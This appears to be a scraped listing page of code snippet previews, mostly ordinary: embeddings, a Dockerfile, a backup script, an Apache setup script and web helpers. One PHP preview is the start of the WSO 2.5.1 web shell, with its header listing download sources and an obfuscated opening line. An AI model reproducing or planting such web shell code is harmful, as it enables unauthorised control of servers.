This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from sentence_transformers import SentenceTransformer | |
EMBEDDING_MODEL = "BAAI/bge-large-en-v1.5" | |
model = SentenceTransformer(EMBEDDING_MODEL) | |
embeddings = model.encode(sentences=["Hey", "How are you?"], normalize_embeddings=True) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.Linq; | |
using System.Management; | |
using System.Security.Cryptography; | |
using System.Text; | |
namespace DeviceID | |
{ | |
internal class Fingerprint | |
{ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
FROM alpine:3 | |
RUN apk update && apk upgrade | |
RUN apk add --no-cache chromium chromium-chromedriver | |
RUN mkdir -p /usr/src/app \ | |
&& adduser -D chromium \ | |
&& chown -R chromium:chromium /usr/src/app |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
localBackupDir=${LOCAL_BACKUP_DIR:-$HOME/backup} | |
remoteBackupDir=${REMOTE_BACKUP_DIR:-backups} | |
dbHost=${DB_HOST:-localhost} | |
dbPort=${DB_PORT:-3306} | |
echo "Changing to '$localBackupDir'..." | |
cd "$localBackupDir" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <QCryptographicHash> | |
#include <QRandomGenerator> | |
#include <QStringList> | |
#include <openssl/conf.h> | |
#include <openssl/evp.h> | |
#include "SecurityUtil.h" | |
static char *bytes2chara(const QByteArray &bytes) { | |
auto size = bytes.size() + 1; | |
auto data = new char[size]; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
APACHE_USER=wwwhost | |
VHOSTS_DOMAINS=(example.com second.example.com) | |
sudo ufw allow in "OpenSSH" | |
# Install Apache | |
sudo apt-get update | |
sudo apt-get install apache2 | |
sudo nano /etc/apache2/apache2.conf # Add ServerName ... directive at bottom |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
namespace App\Entity; | |
use Doctrine\ORM\Mapping as ORM; | |
/** | |
* @ORM\Entity(repositoryClass="App\Repository\ExampleRepository") | |
* @ORM\HasLifecycleCallbacks() | |
* @ORM\Table("examples") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* v2.5.1 | |
* Hosted at: http://pastebin.com/BXmWGhMu (Line: #1037) | |
* Hosted at: http://snipplr.com/view/70661/ (Line: #1037) | |
* Hosted at: http://dl.packetstormsecurity.net/UNIX/penetration/rootkits/wso2.5.1.zip (Line: #1037) | |
* Hosted at: http://pastebin.com/KCtz6XA9 (Line: #1037) | |
*/ | |
// Obfuscated | |
$x10 = "\x6dai\154"; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import { useEffect, useState } from 'react'; | |
/** | |
* @return {{width: Number, height: Number}} | |
*/ | |
function getWindowSize() { | |
return { | |
width: window.innerWidth, | |
height: window.innerHeight, | |
}; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function getCsrfToken() { | |
var parts = ('; ' + document.cookie) | |
.split("; csrf="); | |
if (parts.length === 2) { | |
const value = parts.pop().split(";").shift(); | |
return decodeURIComponent(value); | |
} | |
} | |
function sendXhr(url, method, data = null, headers = {}) { |
NewerOlder